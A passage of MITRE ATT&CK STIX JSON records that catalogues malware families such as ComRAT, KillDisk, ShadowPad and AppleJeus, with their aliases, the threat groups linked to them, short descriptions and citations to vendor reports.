[Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.4", "x_mitre_contributors": ["Matthieu Faou, ESET"], "x_mitre_aliases": ["ComRAT"], "type": "malware", "id": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "created": "2017-05-31T21:33:13.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0126", "external_id": "S0126"}, {"source_name": "ESET ComRAT May 2020", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. 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Retrieved April 10, 2015.", "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Christiaan Beek, @ChristiaanBeek", "Ryan Becwar"], "x_mitre_aliases": ["TURNEDUP"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", "type": "malware", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0199", "external_id": "S0199"}, {"source_name": "TURNEDUP", "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)"}, {"source_name": "FireEye APT33 Sept 2017", "description": "O'Leary, J., et al. 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During the 2022 [C0026](https://attack.mitre.org/campaigns/C0026) campaign, threat actors re-registered expired [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains to spread malware to select targets in Ukraine.(Citation: Mandiant Suspected Turla Campaign February 2023)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Yoshihiro Kori, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India"], "x_mitre_aliases": ["ANDROMEDA"], "type": "malware", "id": "malware--dcd9548e-df9e-47c2-81f3-bc084289959d", "created": "2023-05-16T19:24:37.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1074", "external_id": "S1074"}, {"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T04:45:42.926Z", "name": "IceApple", "description": "[IceApple](https://attack.mitre.org/software/S1022) is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.(Citation: CrowdStrike IceApple May 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Rapha\u00ebl Lheureux"], "x_mitre_aliases": ["IceApple"], "type": "malware", "id": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "created": "2022-06-27T15:22:22.979Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1022", "external_id": "S1022"}, {"source_name": "CrowdStrike IceApple May 2022", "description": "CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.", "url": "https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Becwar"], "x_mitre_aliases": ["JPIN"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "type": "malware", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0201", "external_id": "S0201"}, {"source_name": "JPIN", "description": "(Citation: Microsoft PLATINUM April 2016)"}, {"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-08-11T19:44:31.363Z", "name": "JPIN", "description": "[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:45:31.029Z", "name": "metaMain", "description": "[metaMain](https://attack.mitre.org/software/S1059) is a backdoor used by [Metador](https://attack.mitre.org/groups/G1013) to maintain long-term access to compromised machines; it has also been used to decrypt [Mafalda](https://attack.mitre.org/software/S1060) into memory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Massimiliano Romano, BT Security"], "x_mitre_aliases": ["metaMain"], "type": "malware", "id": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "created": "2023-01-24T00:12:34.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1059", "external_id": "S1059"}, {"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}, {"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SideTwist"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "type": "malware", "created": "2021-05-06T14:44:50.494Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0610", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0610"}, {"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-10-13T13:53:26.301Z", "name": "SideTwist", "description": "[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T04:47:58.740Z", "name": "KOCTOPUS", "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["KOCTOPUS"], "type": "malware", "id": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "created": "2021-12-06T22:38:37.418Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0669", "external_id": "S0669"}, {"source_name": "KOCTOPUS", "description": "(Citation: MalwareBytes LazyScripter Feb 2021)"}, {"source_name": "MalwareBytes LazyScripter Feb 2021", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. 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(2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. 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(2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}, {"source_name": "Securelist Octopus Oct 2018", "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}, {"source_name": "Security Affairs DustSquad Oct 2018", "url": "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html", "description": "Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) ", "modified": "2022-04-06T17:15:58.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Octopus", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-06T14:09:52.833Z", "name": "KillDisk", "description": "[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)", "x_mitre_platforms": ["Linux", "Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["KillDisk", "Win32/KillDisk.NBI", "Win32/KillDisk.NBH", "Win32/KillDisk.NBD", "Win32/KillDisk.NBC", "Win32/KillDisk.NBB"], "type": "malware", "id": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6", "created": "2021-01-20T18:05:07.059Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0607", "external_id": "S0607"}, {"source_name": "KillDisk Ransomware", "description": "Catalin Cimpanu. (2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. Retrieved January 12, 2021.", "url": "https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/"}, {"source_name": "ESEST Black Energy Jan 2016", "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.", "url": "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"}, {"source_name": "Trend Micro KillDisk 1", "description": "Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021.", "url": "https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html"}, {"source_name": "Trend Micro KillDisk 2", "description": "Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021.", "url": "https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-09-28T17:46:18.677Z", "name": "AppleJeus", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)", "x_mitre_platforms": ["Windows", "macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["AppleJeus"], "type": "malware", "id": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "created": "2021-03-01T20:17:11.064Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0584", "external_id": "S0584"}, {"source_name": "AppleJeus", "description": "(Citation: CISA AppleJeus Feb 2021)"}, {"source_name": "CISA AppleJeus Feb 2021", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["SoreFang"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "type": "malware", "created": "2020-09-29T19:33:35.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0516", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0516"}, {"source_name": "NCSC APT29 July 2020", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}, {"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-10-06T16:10:42.422Z", "name": "SoreFang", "description": "[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:01:29.506Z", "name": "STARWHALE", "description": "[STARWHALE](https://attack.mitre.org/software/S1037) is Windows Script File (WSF) backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069), possibly since at least November 2021; there is also a [STARWHALE](https://attack.mitre.org/software/S1037) variant written in Golang with similar capabilities. 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(Citation: Unit 42 MuddyWater Nov 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.3", "x_mitre_aliases": ["POWERSTATS", "Powermud"], "type": "malware", "id": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0223", "external_id": "S0223"}, {"source_name": "Powermud", "description": "(Citation: Symantec MuddyWater Dec 2018)"}, {"source_name": "POWERSTATS", "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)"}, {"source_name": "ClearSky MuddyWater Nov 2018", "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"}, {"source_name": "Unit 42 MuddyWater Nov 2017", "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"}, {"source_name": "Symantec MuddyWater Dec 2018", "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["POWERTON"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "type": "malware", "created": "2019-04-16T17:43:42.724Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0371", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0371"}, {"description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. 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At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["ECCENTRICBANDWAGON"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--e928333f-f3df-4039-9b8b-556c2add0e42", "type": "malware", "created": "2021-03-18T16:15:53.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0593", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0593"}, {"source_name": "ECCENTRICBANDWAGON", "description": "(Citation: CISA EB Aug 2020)"}, {"source_name": "CISA EB Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", "description": "Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}], "modified": "2021-10-15T17:28:32.335Z", "name": "ECCENTRICBANDWAGON", "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["BADNEWS"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--e9595678-d269-469e-ae6b-75e49259de63", "type": "malware", "created": "2017-05-31T21:33:14.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0128", "external_id": "S0128"}, {"source_name": "BADNEWS", "description": "(Citation: Forcepoint Monsoon)"}, {"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "modified": "2021-06-21T12:32:12.581Z", "name": "BADNEWS", "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. 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(2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}, {"source_name": "Symantec Linfo May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}], "modified": "2021-01-06T19:32:28.394Z", "name": "Linfo", "description": "[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Goopy"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad", "created": "2020-06-19T20:42:19.258Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "S0477", "url": "https://attack.mitre.org/software/S0477"}, {"source_name": "Cybereason Cobalt Kitty 2017", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)", "modified": "2022-07-11T20:35:28.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Goopy", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-26T20:09:03.093Z", "name": "ShadowPad", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017) ", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["ShadowPad", "POISONPLUG.SHADOW"], "type": "malware", "id": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "created": "2021-03-23T20:49:39.954Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0596", "external_id": "S0596"}, {"source_name": "POISONPLUG.SHADOW", "description": "(Citation: FireEye APT41 Aug 2019)"}, {"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}, {"source_name": "Securelist ShadowPad Aug 2017", "description": "GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021.", "url": "https://securelist.com/shadowpad-in-corporate-networks/81432/"}, {"source_name": "Recorded Future RedEcho Feb 2021", "description": "Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021.", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf"}, {"source_name": "Kaspersky ShadowPad Aug 2017", "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:17:12.008Z", "name": "Remexi", "description": "[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Remexi"], "type": "malware", "id": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "created": "2019-04-17T19:18:00.270Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0375", "external_id": "S0375"}, {"source_name": "Securelist Remexi Jan 2019", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", 